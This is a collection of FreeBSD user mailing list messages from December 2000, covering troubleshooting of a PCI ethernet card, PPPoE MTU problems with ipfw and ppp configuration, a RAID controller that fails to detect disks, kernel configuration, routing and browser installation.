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Subject: Config / Support for PCI ethernet device
Date: Sun, 17 Dec 2000 00:56:13 -0800
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Hello,
I've read that my PCI  ethernet card is supposed to be supported.  I have
the Netgear FA311TX PCI Adapter.  I am trying to rebuild the kernel in order
to support the PCI card, but on the configuration file (where you are
supposed to un-comment out the name of your device prior to rebuilding the
kernel) I can't find the name of my device.
The question is:  How do I add support for my PCI card?

any help is much appreciated.
shon

In case it helps, the output of dmesg is below:

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Last login: Sat Dec 16 18:27:43 2000 from 192.168.0.2
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California.  All rights reserved.
FreeBSD 4.2-RELEASE (NIETZSCHE) #0: Sun Dec 17 00:42:53 PST 2000

Budda at the console.
stsmith /usr/home/stsmith-->su
Password:
nietzsche# dmesg
Copyright (c) 1992-2000 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.
FreeBSD 4.2-RELEASE #0: Sun Dec 17 00:42:53 PST 2000
    stsmith@nietzsche.earthlink.net:/usr/obj/usr/src/sys/NIETZSCHE
Timecounter "i8254"  frequency 1193182 Hz
Timecounter "TSC"  frequency 534548291 Hz
CPU: Pentium II/Pentium II Xeon/Celeron (534.55-MHz 686-class CPU)
  Origin = "GenuineIntel"  Id = 0x665  Stepping = 5

Features=0x183f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,
PAT,PSE36,MMX,FXSR>
real memory  = 134135808 (130992K bytes)
avail memory = 127770624 (124776K bytes)
Preloaded elf kernel "kernel" at 0xc02c6000.
Pentium Pro MTRR support enabled
md0: Malloc disk
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib2: <PCI to PCI bridge (vendor=1106 device=8605)> at device 1.0 on pci0
pci1: <PCI bus> on pcib2
pci1: <NVidia Riva Vanta TNT2 graphics accelerator> at 0.0 irq 11
isab0: <VIA 82C686 PCI-ISA bridge> at device 4.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <VIA 82C686 ATA66 controller> port 0xd800-0xd80f at device 4.1 on
pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
pci0: <VIA 83C572 USB controller> at 4.2 irq 5
pci0: <VIA 83C572 USB controller> at 4.3 irq 5
sio0: <3COM PCI FaxModem> port 0xb800-0xb807 irq 10 at device 14.0 on pci0
sio0: moving to sio4
sio4: type 16550A
xl0: <3Com 3c905C-TX Fast Etherlink XL> port 0xb400-0xb47f mem
0xdf800000-0xdf80007f irq 12 at device 15.0 on pci0
xl0: command never completed!
xl0: command never completed!
xl0: Ethernet address: 00:01:03:1f:71:8b
miibus0: <MII bus> on xl0
ukphy0: <Generic IEEE 802.3u media interface> on miibus0
ukphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
pci0: <unknown card> (vendor=0x100b, dev=0x0020) at 16.0 irq 5
pcib1: <Host to PCI bridge> on motherboard
pci2: <PCI bus> on pcib1
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
ad0: 9797MB <QUANTUM FIREBALLP LM10.2> [19906/16/63] at ata0-master UDMA66
acd0: CDROM <TOSHIBA CD-ROM XM-6702B> at ata1-master using UDMA33
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> May some one here suggest a HIGH quality memory manufacturer ?

Corsair is decent.


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Subj: FreeBSD (V4.2) Shared memory
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From: raymond@one.com.au

On 4.2-RELEASE i386, I have attempted to build 268697600 bytes (65600 pages)
of shared memory with the config options:

options         SHMALL=65600
options         SHMMAXPGS=65600

After a build, ipcs reports as follows:

%ipcs -TM
shminfo:
        shmmax: 268697600       (max shared memory segment size)
        shmmin:       1 (min shared memory segment size)
        shmmni:      96 (max number of shared memory identifiers)
        shmseg:      64 (max shared memory segments per process)
        shmall:   65600 (max amount of shared memory in pages)

Yet, I can't seem to get my code to connect to a shared memory segment
greater than 64KB.

Am I missing something (like a maximum size)?

Ray Newman


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Hi!

The following problem: I have a DSL-Connection to the internet, and a
few client behind the BSD-Box (see picture). I can do connections to the
internet, nearly everything works. But I DO have 2 systems (which I
desperatly need), which do NOT fragment the packets. When using a Linux
Router (don't blame me for that) everything just works fine. Is there a
problem with my configuration, or is that a BSD-specific-Problem.

client <-- ethernet (MTU=1500) --> FreeBSD-Box <-- DSL
(MTU=1492)-->Provider(german Telekom)

unakruemel# uname -a
FreeBSD kruemel.monster.sensibelchen.org 4.2-BETA FreeBSD 4.2-BETA #4:
Fri Dec  8 15:27:31 CET 2000     root@kruemel.monster.sensibelchen.org:/usr/src/sys/compile/KRUEMEL
 i386

kruemel# ipfw list
00100 allow ip from any to any via lo0
00200 allow ip from any to any via rl0
00300 allow tcp from any to any out xmit tun0 setup
00400 allow tcp from any to any via tun0 established
00500 allow udp from any to any via tun0
00600 allow log logamount 100 tcp from any to any 80 setup
00700 allow log logamount 100 tcp from any to any 22 setup
00800 allow log logamount 100 tcp from any to any 20 setup
00900 allow log logamount 100 tcp from any to any 25 setup
01000 reset log logamount 100 tcp from any to any 113 in recv tun0
01100 allow udp from any to any 53 out xmit tun0
01200 allow udp from any 53 to any in recv tun0
65435 allow icmp from any to any
65435 deny log logamount 100 ip from any to any
65535 deny ip from any to any

kruemel# cat /etc/ppp/ppp.conf
default: # or name_of_service_provider
  set device PPPoE:rl0 # replace xl1 with your ethernet device
  set mru 1450
  set mtu 1450
  set authname 0000******************t-online.de
  set authkey *didyoureallythinkofthat?*
  set log Phase tun command # you can add more detailed logging if you
wish
#  set log cbcp ccp connect debug ipcp lcp sync
  set dial
  set login
  enable lqr
  set speed sync
  set ifaddr 10.0.0.1/0 10.0.0.2/0
  add default HISADDR
#  nat enable yes # if you want to enable nat for your local net

kruemel# cat /etc/rc.conf 
[...]
ppp_enable="YES"
ppp_mode="ddial"
ppp_nat="YES"
ppp_profile="default" # or your provider
firewall_enable="YES"
firewall_script="/etc/firewall/fwrules"

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Hi Nils,

On Sun, 17 Dec 2000 11:33:57 +0100, Nils Bokermann wrote:

>Hi!
>
>The following problem: I have a DSL-Connection to the internet, and a
>few client behind the BSD-Box (see picture). I can do connections to 
>the internet, nearly everything works. But I DO have 2 systems (which I
>desperatly need), which do NOT fragment the packets. When using a Linux
>Router (don't blame me for that) everything just works fine. Is there a
>problem with my configuration, or is that a BSD-specific-Problem.
>
>client <-- ethernet (MTU=1500) --> FreeBSD-Box <-- DSL
>(MTU=1492)-->Provider(german Telekom)


You need to set the MTU size to 1492 on the client too.

For a detailed explanation see 
http://renaud.waldura.com/doc/freebsd-pppoe/

It looks like this will no longer be necessary in future versions of 
FreeBSD as I read on the site mentioned above:

"As of December 2000, ppp now understands the option tcpmssfixup which 
implements what tcpmssd does below. This version of ppp is included in 
FreeBSD >= 4.3. This feature is enabled by default, but you can still 
add it anyway: 

    enable tcpmssfixup

to your ppp.conf."


>
>kruemel# cat /etc/ppp/ppp.conf
>default: # or name_of_service_provider
>  set device PPPoE:rl0 # replace xl1 with your ethernet device
>  set mru 1450
>  set mtu 1450

Why not 1492?

You might want to add

enable dns

as well.


Manfred


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Hi Tom

I had installed maildrop (0.64 version) from ports in FreeBSD 4.1 box, but
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I recently installed FreeBSD 4.2-release, and yesterday built KDE
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Nils Bokermann wrote:
> 
> Hi!
> 
> The following problem: I have a DSL-Connection to the internet, and a
> few client behind the BSD-Box (see picture). I can do connections to the
> internet, nearly everything works. But I DO have 2 systems (which I
> desperatly need), which do NOT fragment the packets. When using a Linux
> Router (don't blame me for that) everything just works fine. Is there a
> problem with my configuration, or is that a BSD-specific-Problem.
> 
> client <-- ethernet (MTU=1500) --> FreeBSD-Box <-- DSL
> (MTU=1492)-->Provider(german Telekom)
> 
> unakruemel# uname -a
> FreeBSD kruemel.monster.sensibelchen.org 4.2-BETA FreeBSD 4.2-BETA #4:
> Fri Dec  8 15:27:31 CET 2000     root@kruemel.monster.sensibelchen.org:/usr/src/sys/compile/KRUEMEL
>  i386
> 
> kruemel# ipfw list
> 00100 allow ip from any to any via lo0
> 00200 allow ip from any to any via rl0
> 00300 allow tcp from any to any out xmit tun0 setup
> 00400 allow tcp from any to any via tun0 established
> 00500 allow udp from any to any via tun0
> 00600 allow log logamount 100 tcp from any to any 80 setup
> 00700 allow log logamount 100 tcp from any to any 22 setup
> 00800 allow log logamount 100 tcp from any to any 20 setup
> 00900 allow log logamount 100 tcp from any to any 25 setup
> 01000 reset log logamount 100 tcp from any to any 113 in recv tun0
> 01100 allow udp from any to any 53 out xmit tun0
> 01200 allow udp from any 53 to any in recv tun0
> 65435 allow icmp from any to any
> 65435 deny log logamount 100 ip from any to any
> 65535 deny ip from any to any
>ng thatyou are using ipfw to filter rather than the 

it's intersting thatyou are using ipfw to filter rather than the
filtering in ppp. but no matter it should still work.

Theoretically, the BSD machine should fragment any 'too large'
packets coming through, and the router at the other end should too,
though the standard behaviour of clients should be to 
use a smaller size by default for routes that are not local.

In any case sometimes this doesn't work right. One answer is to use the 
newest version of ppp
(apply to brian@freebsd for a 4.2 version) which 
fiddles with the negotiations as they go past and fool both 
sides to use smaller packets.

check recent pppoe sidcussion in the mailing lists, as this problem often
shows up with pppoe.


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Dear Sirs.

besides the big problems with the installation of StarOffice on some FreeBSD
boxes (on fresh installed systems the installation is no problem, in most
cases, but on our other systems it seems to be a big deal to come along with
this task. Sometimes the only help to get one step ahead is to use csh instead
of sh/ksh/bash, no matter why ...) I have several questions about how to deal
with MySQL servers.

On our Wintel/W2k boxes I installed StarOffice as well as on several new
FreeBSD boxes. Under Win2k I install the MyODBC driver from the MySQL port
and access is granted by the server. But how to do this with StarOffice on 
FreeBSD? I has a register mark ODBC, but how to install and configure where
to find the correct ODBC driver? The first thing I did was to make a softlink
of libmyodbc.so to /usr/local/office52/program/ where all the other libraries
are located, but this was al ittle bit brain damaged, I think. I did not find 
any help about ODBC driver installation in StarOffice's help although it reports
that SOffice52 has no ODBC driver, they have to come from the vendor of the
SQL database.

Hopr there is one out who has the trick in peto ... Thanks a lot.

Oliver

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Hi,
> The following problem: I have a DSL-Connection to the internet, and a
> few client behind the BSD-Box (see picture). I can do connections to the
> internet, nearly everything works. But I DO have 2 systems (which I
> desperatly need), which do NOT fragment the packets. When using a Linux
> Router (don't blame me for that) everything just works fine. Is there a
> problem with my configuration, or is that a BSD-specific-Problem.

it's a problem with your configuration. You have to use tcpmssd on your
FreeBSD router. If you can read german, check out chapter 5.2 of my
"Using T-ISDN-DSL with FreeBSD" tutorial. The URL is
http://www.ruhr.de/home/nathan/FreeBSD/tdsl-freebsd.html#TCPMSSD

The quick and dirty summary of the chapter
a) Check if the port skeleton for tcpmssd contains a file names patch-aa.
If the file is missing, download a new port skeleton from www.freebsd.org
b) Build and install tcpmssd
c) Run "tcpmssd -p 1234 -m 1492", do not use the -i variant, it doesn't
   work. Don't use -m unless you have the new version of the port or
   tcpmssd will crash when it receives the first packet.
d) Add a rule to your ipfw ruleset
divert 1234 tcp from any to any out xmit tun0 setup
   Place the rule right next to your existing natd rule
e) Make sure that tcpmssd is launched automatically on reboot.

/s/Udo
PS: Your ppp.conf violates RFC2615. You are not supposed to use any kind
of compression on a PPPoE link.
-- 
"41.6: Ersetzen von Austauschen" (HP Color LJ 5M Fehlermeldung)
"41.6: Replace Coating Kit" (das englische Original dieser Meldung)


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Hello all,

We've just bought a brand-new server for our company and chose Adaptec
SCSI RAID 2100S to do RAID 5 on 4 IBM Ultrastar 18GB disks. 3 of the IBM
disks have similar revisions (MLC: DS0S80) and one of the disks has a
different revision (MLC: DS0S93). The other physical characteristics are
the same (tracks, sectors, clusters, disk size; the size on all 4
disks).

Before designing the RAID Array, the 2100S manages to identify all the
disks, their sizes, their features and their speed. Even if I reboot the
system few times, shut it down and then starts it up again, the RAID
2100S card still identifies the disks wonderfully (you'll know later why
this was done.)

Next, I go into the 2100S BIOS (called SMOR) and design the required
Array (I chose RAID 5 fault-tolerance). Once I save the new settings,
and the RAID Array starts building, I reboot the system.

Now, the problems start... One out of 3-4 reboots, the 2100S card
manages to identify all disks, reads the configured settings, and boots
the system (into FreeBSD which I managed to install on a previous reboot
under the configured Array). The other attempts do not succeed, and on
the Disk Cage I see 3 red lights out of 4, indicating that the 2100S
failed to identify disks in those bays. In addition, I hear a
high-volume alarm coming out of the 2100S card indicating a problem.

Next, I switched the power off, changed positions of the disks (1st disk
to 4th bay, 2nd disk to 3rd bay, and so on), and turned the power on.
The same error described above is repeated, but this time, 3 different
red lights out of 4 are led on the cage!! I've continued to change
positions of the disks in this fashion (and even after I deleted this
Array and created a new RAID-1 Array), but it's always that one disk is
identified (and its light is green), and 3 are not identified (and their
lights are red).

The strangest thing in this whole scenario is that the disk with the
different revision is ALWAYS identified, while the 3 similar revision
disks are not identified and FAIL wherever you place them in the bays!!
Another strange thing is that when I remove the disk with the different
revision, and I design a new Array using only the 3 similar disks, ALL
goes well. Even after 10 (!!!) reboots, the system identifies the Array,
the disks, and then boots the OS with no noticeable errors.

By the way, sometimes the system boots normally while the Array is
designed and created. Although most of the times, the erroneous scenario
described above happens more occasionally.

Does anyone know what is causing this problem, and if revision changes
might cause this problem? Does the Adaptec 2100S RAID controller have a
problem dealing with revision changes, or with IBM disks in particular?

Any help would be appreciated.

Thank you.
Noor

P.S.: Meanwhile, I've ordered a new disk with the same revision as the 3
to see what'd happen with 4 similar disks.



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Hello!

	Once again you've problem with your ftp server on freebsd.org, please try
to correct this situation because I want to finish download your software.

Thanks,


Jose A. Rodriguez


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Hi!

	I'm downloading via ftp the release 4.1.1 and still I don't finish.  When I
try to connect today I cannot access because it shows me an error:

*******
	Attempt to connect to ftp.freebsd.org failed.

	A connection attempt failed because the connected party did not properly
respond after a period of time, or established connection failed because
connected host has failed to respond.
*******

	Please help me because I want to finish downloading your Operating System
to make some tests.


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Hello faisal,

Sunday, December 17, 2000, 8:38:17 AM, you wrote:

f> I want to subscribe to a freebsd mailing regarding newbies

f> thanks
f> Faisal


http://www.freebsd.org/handbook/eresources.html#ERESOURCES-MAIL

that will show u how to, and what lists are avaible, also try not to
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Noor Dawod wrote:
> Now, the problems start... One out of 3-4 reboots, the 2100S card
> manages to identify all disks, reads the configured settings, and boots
> the system (into FreeBSD which I managed to install on a previous reboot
> under the configured Array). The other attempts do not succeed, and on
> the Disk Cage I see 3 red lights out of 4, indicating that the 2100S
> failed to identify disks in those bays. In addition, I hear a
> high-volume alarm coming out of the 2100S card indicating a problem.

Hi,

This doesn't really have a lot to do with FreeBSD?! - Sounds like a hardware
problem... You said the card was running SMOR, which means it sounds like it's
a re-badged DPT RAID controller (Adaptec bought DPT). I've had similar
problems with these before...

Make sure the card is running the latest firmware, and if that still doesn't
fix the problem - double check cabling, termination etc. - You can also try
setting the "Delay" option in SMOR to a higher value, this worked for one of
our set-ups... Alternatively, as you pointed out - it could be the different
firmware on one of the drives, but at least you've got something to try now :)

Regards,

Karl


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> 	Once again you've problem with your ftp server on
> freebsd.org, please try
> to correct this situation because I want to finish download your software.

There are 10s of ftp mirrors, which generally are faster than the official
one as less people use them and you can get one geographically closer. For
instance I download from uk2 becuase it's on the same backbone/isp as my
university (and connection is 25mbit *supposidly*ahem*).

See:

http://www.freebsd.org/handbook/mirrors-ftp.html

and find one which is online and closer to you.



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Thanks Karl for your reply,

Regarding termination and cabling, I can only remind you that all works
fine when 3 out of 4 disks are being used. The 2100S card uses Digital
Processing Technology indeed, but this card is rather new. I've
downloaded the newest firmware today, I'll need to upgrade the card
first and re-try.

Noor

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Noor Dawod wrote:
> Now, the problems start... One out of 3-4 reboots, the 2100S card
> manages to identify all disks, reads the configured settings, and
boots
> the system (into FreeBSD which I managed to install on a previous
reboot
> under the configured Array). The other attempts do not succeed, and on
> the Disk Cage I see 3 red lights out of 4, indicating that the 2100S
> failed to identify disks in those bays. In addition, I hear a
> high-volume alarm coming out of the 2100S card indicating a problem.

Hi,

This doesn't really have a lot to do with FreeBSD?! - Sounds like a
hardware
problem... You said the card was running SMOR, which means it sounds
like it's
a re-badged DPT RAID controller (Adaptec bought DPT). I've had similar
problems with these before...

Make sure the card is running the latest firmware, and if that still
doesn't
fix the problem - double check cabling, termination etc. - You can also
try
setting the "Delay" option in SMOR to a higher value, this worked for
one of
our set-ups... Alternatively, as you pointed out - it could be the
different
firmware on one of the drives, but at least you've got something to try
now :)

Regards,

Karl



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Crist,

 THanks for your advise. The crossover cable thing fixed most of the
problems - I can ping and telnet between two machines for example. I seem
to forget about those crossover cables about every two years -- advancing
age.....

 I'm not sure why you say I don't need routed, isn't that necessary to 
do routing. This is needed in the experiment since I need to mimic a real 
environment even though I only have three machines and only one acts
as a router.  I was under the impression that I needed to have
the following in rc.conf
gateway_enable ="YES"
router_enable="YES"
router="routed"
router_flags="-s"

I guess for something this trivial I don't need to do much with respect to
the routing tables.Are you saying that I don't should have gateway_enable
= "YES" and router_enable="YES" (or should this be "NO"). The important
thing is that I need to route between different networks and have the
firewall software be able to filter and divert packets.

Alwyn
agoodloe@gradient.cis.upenn.edu



On Sat, 16 Dec 2000, Crist J. Clark wrote:

> On Sat, Dec 16, 2000 at 09:45:23PM -0500, Alwyn Goodloe wrote:
> > Hey Guys & Gals,
> > 
> >   I have am trying to set up a simple testbed with three computers. I am
> > using the standard 192.168  address for a private network.  For my experiment
> > I need two networks which in my case is 192.168.1 and 192.158.5.
> > The other two machines are the single machines on the respective networks.
> > This may sound strange but it has to be that way for my test.
> > One machine acts as a router between the two networks. I have two nic
> > cards in the router and  just string normal 10base T cable between  it
> > and the clients (i couldn't see the need for something more complicated
> > but please feel free to correct me).  
> 
> Someone else mentioned crossover cables. Make sure you have link on
> all interfaces.
> 
> >    On the router I run routed.
> 
> You don't need routed(8). Turn it off.
> 
> > The two interfaces ep0 and ep1 seem to be
> > configured OK when  I run ifconfig -a I get
> >  
> > 
> > flags - 8a43 <UP,Broadcast,Running, AllMulti,Simplix, Multicast, mtu 1500
> >              inet 192.168.1.5 netmask ...... broadcast 192.168.1.255 .....
> > 
> > similarly for the other one,
> > 
> >   When I first sit things up and tried to ping a client from the router I 
> > got    Host is Down. So I added the route in the routing table since I 
> > figured that it didn't know what interface to go out on. (Though the non
> > router boxes have the same error.)
> 
> You should not have to modify the routing table. Using ifconfig(8)
> should have set up the only routes you need for this. What does,
> 
>   $ netstat -rn
> 
> Say?
> 
> > After adding the route the error message
> > was:
> > 
> >   Time to Live exceeded. 
> 
> You've got a routing loop.
> 
> >   Also routed is periodically giving me:
> > 
> >  routed[142]: send to(ep0,244.0.0.1)  No Route to Host 
> > 
> >  routed[142]: send to(ep1,244.0.0.1)  No Route to Host 
> 
> You don't need routed(8). Turn it off.
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 
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I run Opera using the linux emulation.

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On Sun, 17 Dec 2000, Jim Freeze wrote:

> Has anyone used the Opera browser for linux on FBSD?
> If so, which version did you install and was the installation difficult?
> 
> Currently I am running FBSD 3.4R.
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On Sun, 17 Dec 2000, Jim Freeze wrote:

> Has anyone used the Opera browser for linux on FBSD?
> If so, which version did you install and was the installation difficult?
> Currently I am running FBSD 3.4R.

I had no problems installing it on 4.2. I used the tarball for
linux-opera-4.0b4 from freshports.org, but I see it's now in the Ports
collection. Simply save the source, untar it, cd into the directory it
creates and do your make as usual.

It's a nice browser, but I was disappointed to see it is only a 30 day
evaluation. The version that is completely free (version 5.0) is only for
Windows according to Opera's homepage.

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On 2000.12.17 12:45:48 +0100 Udo Erdelhoff wrote:
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> http://www.ruhr.de/home/nathan/FreeBSD/tdsl-freebsd.html#TCPMSSD

Yes, that was a good thingie :) Can someone put a hint to FreeBSD.org?

[...]

> PS: Your ppp.conf violates RFC2615. You are not supposed to use any
> kind
> of compression on a PPPoE link.

Hu!.. I thought they were disabled by default, now they are manually 
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options 	P1003_1B		#Posix P1003_1B real-time extensions=0A=
options 	_KPOSIX_PRIORITY_SCHEDULING=0A=
options		ICMP_BANDLIM		#Rate limit bad replies=0A=
options 	KBD_INSTALL_CDEV	# install a CDEV entry in /dev=0A=
=0A=
# To make an SMP kernel, the next two are needed=0A=
#options 	SMP			# Symmetric MultiProcessor Kernel=0A=
#options 	APIC_IO			# Symmetric (APIC) I/O=0A=
=0A=
device		isa=0A=
device		eisa=0A=
device		pci=0A=
device		pcm			# pci Sound Card=0A=
=0A=
# Floppy drives=0A=
device		fdc0	at isa? port IO_FD1 irq 6 drq 2=0A=
device		fd0	at fdc0 drive 0=0A=
device		fd1	at fdc0 drive 1=0A=
=0A=
# ATA and ATAPI devices=0A=
device		ata0	at isa? port IO_WD1 irq 14=0A=
device		ata1	at isa? port IO_WD2 irq 15=0A=
device		ata=0A=
device		atadisk			# ATA disk drives=0A=
device		atapicd			# ATAPI CDROM drives=0A=
device		atapifd			# ATAPI floppy drives=0A=
device		atapist			# ATAPI tape drives=0A=
options 	ATA_STATIC_ID		#Static device numbering=0A=
#options 	ATA_ENABLE_ATAPI_DMA	#Enable DMA on ATAPI devices=0A=
=0A=
# SCSI Controllers=0A=
device		ahb		# EISA AHA1742 family=0A=
device		ahc		# AHA2940 and onboard AIC7xxx devices=0A=
device		amd		# AMD 53C974 (Teckram DC-390(T))=0A=
device		isp		# Qlogic family=0A=
device		ncr		# NCR/Symbios Logic=0A=
device		sym		# NCR/Symbios Logic (newer chipsets)=0A=
options		SYM_SETUP_LP_PROBE_MAP=3D0x40=0A=
				# Allow ncr to attach legacy NCR devices when =0A=
				# both sym and ncr are configured=0A=
=0A=
device		adv0	at isa?=0A=
device		adw=0A=
device		bt0	at isa?=0A=
device		aha0	at isa?=0A=
device		aic0	at isa?=0A=
=0A=
device		ncv		# NCR 53C500=0A=
device		nsp		# Workbit Ninja SCSI-3=0A=
device		stg		# TMC 18C30/18C50=0A=
=0A=
# SCSI peripherals=0A=
device		scbus		# SCSI bus (required)=0A=
device		da		# Direct Access (disks)=0A=
device		sa		# Sequential Access (tape etc)=0A=
device		cd		# CD=0A=
device		pass		# Passthrough device (direct SCSI access)=0A=
=0A=
# RAID controllers interfaced to the SCSI subsystem=0A=
device		asr		# DPT SmartRAID V, VI and Adaptec SCSI RAID=0A=
device		dpt		# DPT Smartcache - See LINT for options!=0A=
device		mly		# Mylex AcceleRAID/eXtremeRAID=0A=
=0A=
# RAID controllers=0A=
device		ida		# Compaq Smart RAID=0A=
device		amr		# AMI MegaRAID=0A=
device		mlx		# Mylex DAC960 family=0A=
device		twe		# 3ware Escalade=0A=
=0A=
# atkbdc0 controls both the keyboard and the PS/2 mouse=0A=
device		atkbdc0	at isa? port IO_KBD=0A=
device		atkbd0	at atkbdc? irq 1 flags 0x1=0A=
device		psm0	at atkbdc? irq 12=0A=
=0A=
device		vga0	at isa?=0A=
=0A=
# splash screen/screen saver=0A=
pseudo-device	splash=0A=
=0A=
# syscons is the default console driver, resembling an SCO console=0A=
device		sc0	at isa? flags 0x100=0A=
=0A=
# Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver=0A=
#device		vt0	at isa?=0A=
#options 	XSERVER			# support for X server on a vt console=0A=
#options 	FAT_CURSOR		# start with block cursor=0A=
# If you have a ThinkPAD, uncomment this along with the rest of the PCVT =
lines=0A=
#options 	PCVT_SCANSET=3D2		# IBM keyboards are non-std=0A=
=0A=
# Floating point support - do not disable.=0A=
device		npx0	at nexus? port IO_NPX irq 13=0A=
=0A=
# Power management support (see LINT for more options)=0A=
device		apm0    at nexus? disable flags 0x20 # Advanced Power Management=0A=
=0A=
# PCCARD (PCMCIA) support=0A=
device		card=0A=
device		pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000=0A=
device		pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable=0A=
=0A=
# Serial (COM) ports=0A=
device		sio0	at isa? port IO_COM1 flags 0x10 irq 4=0A=
device		sio1	at isa? port IO_COM2 irq 3=0A=
device		sio2	at isa? disable port IO_COM3 irq 5=0A=
device		sio3	at isa? disable port IO_COM4 irq 9=0A=
=0A=
# Parallel port=0A=
device		ppc0	at isa? irq 7=0A=
device		ppbus		# Parallel port bus (required)=0A=
device		lpt		# Printer=0A=
device		plip		# TCP/IP over parallel=0A=
device		ppi		# Parallel port interface device=0A=
#device		vpo		# Requires scbus and da=0A=
=0A=
=0A=
# PCI Ethernet NICs.=0A=
device		de		# DEC/Intel DC21x4x (``Tulip'')=0A=
device		fxp		# Intel EtherExpress PRO/100B (82557, 82558)=0A=
device		tx		# SMC 9432TX (83c170 ``EPIC'')=0A=
device		vx		# 3Com 3c590, 3c595 (``Vortex'')=0A=
device		wx		# Intel Gigabit Ethernet Card (``Wiseman'')=0A=
=0A=
# PCI Ethernet NICs that use the common MII bus controller code.=0A=
# NOTE: Be sure to keep the 'device miibus' line in order to use these =
NICs!=0A=
device		miibus		# MII bus support=0A=
device		dc		# DEC/Intel 21143 and various workalikes=0A=
device		pcn		# AMD Am79C79x PCI 10/100 NICs=0A=
device		rl		# RealTek 8129/8139=0A=
device		sf		# Adaptec AIC-6915 (``Starfire'')=0A=
device		sis		# Silicon Integrated Systems SiS 900/SiS 7016=0A=
device		ste		# Sundance ST201 (D-Link DFE-550TX)=0A=
device		tl		# Texas Instruments ThunderLAN=0A=
device		vr		# VIA Rhine, Rhine II=0A=
device		wb		# Winbond W89C840F=0A=
device		xl		# 3Com 3c90x (``Boomerang'', ``Cyclone'')=0A=
=0A=
# ISA Ethernet NICs.=0A=
device		ed0	at isa? port 0x280 irq 10 iomem 0xd8000=0A=
device		ex=0A=
device		ep=0A=
device		fe0	at isa? port 0x300=0A=
# WaveLAN/IEEE 802.11 wireless NICs. Note: the WaveLAN/IEEE really=0A=
# exists only as a PCMCIA device, so there is no ISA attatement needed=0A=
# and resources will always be dynamically assigned by the pccard code.=0A=
device		wi=0A=
# Aironet 4500/4800 802.11 wireless NICs. Note: the declaration below =
will=0A=
# work for PCMCIA and PCI cards, as well as ISA cards set to ISA PnP=0A=
# mode (the factory default). If you set the switches on your ISA=0A=
# card for a manually chosen I/O address and IRQ, you must specify=0A=
# those paremeters here.=0A=
device		an=0A=
# Xircom Ethernet=0A=
device		xe=0A=
# The probe order of these is presently determined by =
i386/isa/isa_compat.c.=0A=
device		ie0	at isa? port 0x300 irq 10 iomem 0xd0000=0A=
#device		le0	at isa? port 0x300 irq 5 iomem 0xd0000=0A=
device		lnc0	at isa? port 0x280 irq 10 drq 0=0A=
device		cs0	at isa? port 0x300=0A=
device		sn0	at isa? port 0x300 irq 10=0A=
=0A=
# Pseudo devices - the number indicates how many units to allocated.=0A=
pseudo-device	loop		# Network loopback=0A=
pseudo-device	ether		# Ethernet support=0A=
pseudo-device	sl	1	# Kernel SLIP=0A=
pseudo-device	ppp	1	# Kernel PPP=0A=
pseudo-device	tun		# Packet tunnel.=0A=
pseudo-device	pty		# Pseudo-ttys (telnet etc)=0A=
pseudo-device	md		# Memory "disks"=0A=
pseudo-device	gif	4	# IPv6 and IPv4 tunneling=0A=
pseudo-device	faith	1	# IPv6-to-IPv4 relaying (translation)=0A=
=0A=
# The `bpf' pseudo-device enables the Berkeley Packet Filter.=0A=
# Be aware of the administrative consequences of enabling this!=0A=
pseudo-device	bpf		#Berkeley packet filter=0A=
=0A=
# USB support=0A=
device		uhci		# UHCI PCI->USB interface=0A=
device		ohci		# OHCI PCI->USB interface=0A=
device		usb		# USB Bus (required)=0A=
device		ugen		# Generic=0A=
device		uhid		# "Human Interface Devices"=0A=
device		ukbd		# Keyboard=0A=
device		ulpt		# Printer=0A=
device		umass		# Disks/Mass storage - Requires scbus and da=0A=
device		ums		# Mouse=0A=
device		uscanner	# Scanners=0A=
# USB Ethernet, requires mii=0A=
device		aue		# ADMtek USB ethernet=0A=
device		cue		# CATC USB ethernet=0A=
device		kue		# Kawasaki LSI USB ethernet=0A=

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From owner-freebsd-questions  Sun Dec 17  6:22:55 2000
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I noticed several messages in the archives regarding Canon BJC-1000
printers where users computers find their specific printer during the
probe but lptest > /dev/lpt0 produces no output.  I didn't see any
messages resolving this though :( Does anyone know how to get one of these
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Hello Dominic,

Saturday, December 16, 2000, 8:52:41 PM, you wrote:

DM> Hi there,


DM> I have set up an ipsec tunnel between my free BSD box and home and
DM> another at work. Everything is running smoothly except for one minor
DM> problem. I have no difficulty connecting to my work machines from the
DM> Windows PC but I am unable to do so from the free BSD Box.


http://www.x-itec.de/projects/tuts/ipsec-howto.txt

I don´t know if it helps, but maybe


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[in reply to koong00@orgio.net, 17-12-2000]

> 1. GENERIC Č­ŔĎŔť MYKERNELˇÎ ÄŤÇǸŚ ÇŃ´ŮŔ˝..
> 2. MYKERNEL żĄ´Ů°Ą  device   pcm Ŕť ŔűžîłőžŇ˝Ŕ´Ď´Ů.
> 3. config MYKERNEL Ŕß ÁöłŞ°Ą´őąşżä..

Don't forget to do a "make depend"

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Logout on my machine ususally works the 2nd time I click it.  I guess its
not fully sane to do its thing, but it works for me....


Rahul Siddharthan wrote:

> I recently installed FreeBSD 4.2-release, and yesterday built KDE
> version 2.0.1 from the newly updated ports tree.  It's very nice
> except that the logout buttons don't work.  From looking through
